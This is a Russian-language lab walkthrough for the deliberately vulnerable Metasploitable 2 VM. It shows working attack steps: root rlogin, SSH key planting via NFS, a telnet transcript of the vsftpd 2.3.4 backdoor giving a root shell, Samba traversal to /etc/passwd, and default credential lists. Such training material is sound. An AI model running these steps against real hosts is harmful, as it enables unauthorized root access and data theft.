Metasploitable 2 Руководство использования уязвимостей

Виртуальная машина Metasploitable является намеренно уязвимой версией Ubuntu Linux предназначенной для тестирования средств безопасности и демонстрации распространенных уязвимостей. Версия 2 этой виртуальной машины доступна для скачивания и поставляется еще более уязвимой нежели исходный образ. Эта виртуальная машина совместима с VMWare, VirtualBox и иными платформами общей виртуализации. По умолчанию, сетевые интерфейсы Metasploitable привязаны к NAT и Host-only сетевых адаптеров, и образ никогда не должен подвергаться воздействию враждебной сети.

 

Я постараюсь изложить многие из уязвимостей в Metasploitable 2. Со временем этот документ будет дополниться и расширятся, по мере моих скромных сил и загруженности.

 

Начнем

После загрузки виртуальных машин, в консоли вводим логин и пароль, соответственно login «msfadmin» и пароль «msfadmin». Из shell Metasploitable2 выполните команду ifconfig, для идентификации IP— адреса.

Смотрим адрес виртуальной машины
Dante

 

Сервисы

Из нашей атакующей системы, (Linux в частности у меня Kali Linux), определяем открытые сетевые сервисы, на этой виртуальной машине используя сканер Nmap Security Scanner. Следующая команда будет сканировать все TCP порты на Metasploitable 2:

Использование сканера nmap
Dante

 

Почти каждый из этих сервисов, обеспечивает удаленную точку входа в систему. В дальнейшем мы рассмотрим некоторые из этих направлений.

 

Сервисы: Unix Basics

 

Порты TCP 512, 513 и 514, известные как «r» сервисы, были неправильно настроены для удаленного доступа из любого хоста (стандарт «.rhosts + +» ситуации). Для того чтобы воспользоваться этим, убедитесь что у Вас установлен клиент «rsh-client»(в Ubuntu если), и запустите следующую команду в качестве вашего локального root пользователя. Если Вам будет предложен ключ для SSH, это будет означать что инструменты rsh-client не были установлены и Ubuntu по умолчанию использует SSH.

 

# rlogin -l root 192.168.56.101

Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#

 

Это приблизительно также просто как gets. Следующий сервис который мы рассмотрим это сетевая файловая система (NFS). NFS может быть идентифицирован, путем зондирования порта 2049, или же используя portmapper для списка сервисов. Пример ниже использует rpcinfo для идентификации NFS и showmount -e для определения «/»(корня файловой системы) экспортируется. Вам понадобится rpcbind и nfs-common пакеты Ubuntu для того чтобы следовать дальше.

Файловая система NFS
Dante

 

Тривиальное получение доступа к системе с возможностью записи файловой системы. Для этого (потому что работает SSH) мы сгенерируем новый ключ SSH на вывод нашей атакующей системы, монтируем экспорт NFS, и добавляем наш ключ root аккаунта в authorized_keys file:

Получаем доступ к системе
Dante

 

Сервисы: Backdoors

 

Порт 21, Metasploitable2 запускает vsftpd, популярный FTP-сервер. Данная версия содержит в себе backdoor который позволяет неизвестному злоумышленнику подсунуть свой исходный код. Backdoor был быстро обнаружен и устранен, однако до того не мало людей скачали его. Если имя пользователя отправляется до конца последовательности «🙂» (смайлик), версия backdoor откроет shell на порт 6200. Мы можем продемонстрировать это с Telnet или же используя Metasploit Framework модуль автоматического эксплоита:

 

root@ubuntu:~# telnet 192.168.56.101 21

Trying 192.168.56.101…

Connected to 192.168.56.101.

Escape character is ‘^]’.

220 (vsFTPd 2.3.4)

user backdoored:)

331 Please specify the password.

pass invalid

^]

telnet> quit

Connection closed.

root@ubuntu:~# telnet 192.168.56.101 6200

Trying 192.168.56.101…

Connected to 192.168.56.101.

Escape character is ‘^]’.

id;

 

uid=0(root) gid=0(root)

 

На порту 6667, Metasploitable2 работает демон UnreaIRCD IRC. Данная версия содержит в себе backdoor, существовал несколько месяцев незамеченным, срабатывает отправляя письма «AB» следующие по команде системы на сервере, на любом слушающемся порту. Metasploit имеет модуль эксплоит для того чтобы получить интерактивную оболочку, как вы можете видеть ниже.

Эксплоит UnreaIRCD в Metasploit
Dante

 

Гораздо более простым является старый backdoor режима ожидания «ingreslock» что работал на порту 1524. Порт ingreslock был популярным лет десять назад, для добавления backdoor на зараженный сервер. Доступ прост:

Backdoor режима ожидания ingreslock
Dante

 

Сервисы: ненамеренные Backdoors

 

В дополнение к злонамеренным backdoors в прошлом разделе, некоторые сервисы по своей природе практически являются backdoors. Первый который установлен в Metasploitable2 это distccd. Эта программа позволяет просто масштабировать большие работы компилятора, подобно конфигурированию систем. Проблемой с этой службой злоумышленник может легко злоупотребить, для того чтобы запустить команду по своему выбору используя модуль Metasploit, как Вы можете видеть это ниже.

Используем эксплоит в distccd
Dante

 

Samba конфигурируется с возможностью совместной записи файлов и «wide links» включен(по умолчанию), также может быть использован в качестве backdoor для доступа к файлам которые не предназначены для совместного использования. Пример ниже использует модуль Metasploit, для того чтобы обеспечить доступ к корневой файловой системе, используя анонимное соединение и доступные для записи части.

Backdoor samba
Dante

 

Эксплоит samba в Metasploit
Dante

 

root@ubuntu:~# smbclient //192.168.56.101/tmp

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

smb: \> cd rootfs

smb: \rootfs\> cd etc

smb: \rootfs\etc\> more passwd

getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

[..]

 

Слабые пароли

 

В дополнение к более откровенным backdoors и ошибкам конфигурации, Metasploit2 имеет ужасный пароль безопасности для обеих систем и аккаунтов баз данных. Основной административный пользователь имеет пароль msfadmin соответствующий имени пользователя. Обнаружив список пользователей системы, или используя еще один недостаток, захватив парольный файл или же путем перечисления пользовательских Ids через Samba, используя brute force атаку можно быстро получить доступ к нескольким учетным записям пользователей. Как минимум следующие слабые системные записи, присутствуют в системе.

 

Имя аккаунта

пароль

msfadmin

msfadmin

user

user

postgres

postgres

sys

batman

klog

123456789

service

service

 

В дополнение к этим аккаунтам, сервис PostgreSQL может получить имя postgres и пароль postgres, в то время как служба MySQL является открытой для пользователя с именем root и пустым паролем. Сервис VNC обеспечивает удаленный доступ к рабочему столу, используя пароль password.

 

Уязвимые веб сервисы

 

Metasploitable2 имеет умышленно уязвимые предустановленные веб приложения. Веб сервер запускается автоматически, при загрузке Metasploitable2. Для того чтобы получить доступ к веб-приложению, откройте веб-браузер и введите URL http://<IP>, где <IP> является адресом Metasploitable2. Одним из способов достижения этой цели является установка Metasploitable2 в качестве гостевой операционной системы в Virtual Box и изменение сетевых настроек с сетевого сервиса «NAT» на «Виртуальный адаптер хоста»(Host Only). Установку Metasploitable2 в Virtual Box с Host Only, я опишу в следующей статье.

В этом примере Metasploitable2 работает на IP 192.168.56.101. Переход на http://192.168.56.101/ показывает стартовую страницу веб-приложений.

Страница уязвимых веб-приложений
Dante

 

Примечание: 192.168.56/24 «host only» по умолчанию в Virtual Box. IP адрес присваивается начиная со «101». В зависимости от порядка запуска гостевых операционных систем, IP адрес Metasploitable2 будет меняться.

Для того чтобы получить доступ к определенным веб-приложениям, нажмите на одну из предоставляемых ссылок. Отдельные веб-приложения могут быть дополнительно доступны путем добавления имени каталога приложений на http://<IP>, напишите URL http://<IP>/<папка приложения>/. Например для приложения Multillidae можно получить доступ введя в адресной строке http://192.168.56.101/mutillidae/. Приложения устанавливаются в Metasploitable2 в каталоге /var/www. (примечание: посмотреть данную категорию в metasploitable2 можно используя команду «ls /var/www»). В текущей версии, на момент написания, присутствующие приложения:

mutillidae

dvwa

phpMyAdminmutillidae

dvwa

phpMyAdmin

tikiwiki

twiki

tikiwiki-old

dav

 

Уязвимый веб-сервис: Mutillidae

 

Веб-приложение Mutillidae (NOWASP (Mutillidae)), содержит все уязвимости из Топ 10 OWASP плюс ряд иных уязвимостей, таких как HTML-5 веб хранилище, кеширование, и click-jacking. DVWA, Mutillidae позволяет пользователю изменить уровень безопасности от 0(полностью небезопасно) до 5(безопасно). Помимо того присутствуют три уровня подсказок, от уровня 0(без подсказок), до уровня 2(нуб максимальное количество подсказок). Если приложение повреждено пользовательской инъекцией или взломом, вы можете нажать кнопку «Reset DB» для сброса приложения в оригинальное состояние.

Примечание: Учебники по использованию Mutillidae вы можете найти в сети.

Уязвимое приложение Mutillidae
Dante

 

Включить подсказки в приложении вы можете нажав кнопку «Toggle Hints» в строке меню:

Включаем подсказки в Mutillidae
Dante

 

Приложение Mutillidae содержит как минимум следующие уязвимости:

 

страница

Уязвимость

add-to-your-blog.php

SQL инъекция входа в блог

SQL инъекция логина имени пользователя

Cross сайт скриптинг входа в блог

Cross сайт скриптинг логина имени пользователя

Log инъекция логина имени пользователя

CSRF

JavaScript обхода проверки

XSS в форме названия через ввод имени пользователя

Показ подсказок может быть изменён пользователем, даже если они не должны показываться в безопасном режиме

arbitrary-file-inclusion.php

Системный файл compromise

Загрузка любой страницы из любого сайта

browser-info.php

XSS через реферера HTTP заголовка

JS инъекция через реферера HTPP заголовка

XSS через строку пользовательского агента HTTP заголовка

capture-data.php

XSS через любой GET, POST или Cookie

captured-data.php

XSS через любой GET, POST или Cookie

config.inc*

Содержит unencrytped учетные данные базы данных

credits.php

Непроверенное перенаправление и движение вперед

dns-lookup.php

Cross сайт скриптинг на поля host/ip

O/S Команда инъекции на поля host/ip

Эта страница пишет log. SQLi и XSS на log возможны

GET для POST возможна только потому что чтение POSTed переменные не применяются

footer.php*

Cross сайт скриптинг через HTTP заголовок HTTP_USER_AGENT

framing.php

Click-jacking

header.php*

XSS через логин имени пользователя и подписи

Setup/reset пункта меню базы данных может быть включен путем установки uid значения куки 1

html5-storage.php

DOM инъекции на добавление ключа ошибки сообщения, потому что ключ выводится в сообщении об ошибке без кодирования

index.php*

Вы можете использовать XSS вывода подсказки в меню, потому что он принимает ввод из значения куки включенной подсказки.

Вы можете использовать SQL инъекцию значения куки UID, потому что он используется для просмотра.

Вы можете изменить свое звание, чтобы администратор изменил UID значение.

HTTP Response Splitting через ввод логина пользовательского имени потому что потому что он используется для создания HTTP заголовка.

Эта страница отвечает за кеш-контроль, но не делает этого.

Эта страница разрешает X-Powered-By HTTP заголовок.

HTML комментарии.

Существуют тайные страницы, которые просматривали перенаправление пользователя на страницу phpinfo.php. Это можно сделать при помощи brute forcing.

log-visit.php

SQL инъекция и XSS через реферера HTTP заголовка

SQL инъекция и XSS через строку агента пользователя

login.php

SQL инъекция обхода подлинности, через поле имени пользователя и поле пароля.

SQL инъекция через поле имени пользователя и поле пароля.

XSS через поле имени пользователя

JavaScript обхода проверки

password-generator.php

JavaScript инъекция

pen-test-tool-lookup.php

JSON иньекция

phpinfo.php

Эта страница нарушает правила конфигурации сервера PHP

Применить раскрытие пути

Раскрыть путь платформы

process-commands.php

Создает куки, но не делает из только HTML

process-login-attempt.php

То же самое что login.php. Это страница действий

redirectandlog.php

То же самое что credits.php. Это страница действий

register.php

SQL инъекция и XSS через имя пользователя и поле подписи пароля

rene-magritte.php

Click-jacking

robots.txt

Содержит каталоги которые поддерживаются как частные

secret-administrative-pages.php

Эта страница дает подсказки о том как открыть конфигурацию сервера

set-background-color.php

Инъекции каскадных таблиц стилей и XSS через поле color

show-log.php

Отказ сервиса, если вы полностью заполните log

XSS через hostname, IP клиента, HTTP заголовок браузера, реферальный заголовок HTTP, и поле даты

site-footer-xss-discusson.php

XSS через HTTP строку заголовка агента пользователя

source-viewer.php

Загрузка любого произвольного файла, включая файлы операционной системы.

text-file-viewer.php

Загрузка произвольных веб-страниц в интернет или локально включая файлы паролей сайтов.

Фишинг

user-info.php

SQL инъекция, для сброса всех имен пользователей и паролей через поле имени пользователя или поле пароля.

XSS через любое из отображаемых полей. Внедрение XSS на странице register.php.

XSS через поле имени пользователя

user-poll.php

Параметр pollution

GET для POST

XSS через выбор параметра

Cross сайтовая подделка запроса, чтобы заставить пользователя выбрать.

view-someones-blog.php

XSS через любое отображаемое поле. Они вводятся на добавлении страницы вашего блога.

 

Уязвимый Web сервис: DVWA

 

Из домашней страницы DVWA: «Damn Vulnerable Web App» (DVWA) это PHP/MySQL веб-приложение, является чрезвычайно уязвимым. Его основной целью должна быть помощь для профессионалов в области безопасности, для проверки своих навыков и инструментов в законной среде, помощи веб разработчикам лучше понять процессы безопасности веб приложений и изучению безопасности веб приложений и среде разработки.

DVWA содержит инструкции на домашней странице.

 

Имя пользователя по умолчанию = admin

Пароль по умолчанию =password

Уязвимый сервис DVWA
Dante

 

Уязвимые Web Сервисы: Раскрытия Информации

 

Помимо того опрометчиво раскрывающуюся информацию о PHP можно найти на http://<IP>/phpinfo.php. В этом примере, URL будет http://192.168.56.101/phpinfo.php. Данная уязвимость раскрытия информации PHP обеспечивает внутреннюю информацию системы и информацию о версии службы, которые могут быть использованы для поиска уязвимостей. Например зная что версия PHP показанная в скриншоте является версией 5.2.4, это может сказать что система может быть уязвима к CVE -CVE-2012-1823 и CVE -CVE-2012-2311 уязвимостям которые повлияли на PHP 5.3.12 и 5.4.X, аж до 5.4.2.

Уязвимые веб сервисы раскрытия информации
Dante

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *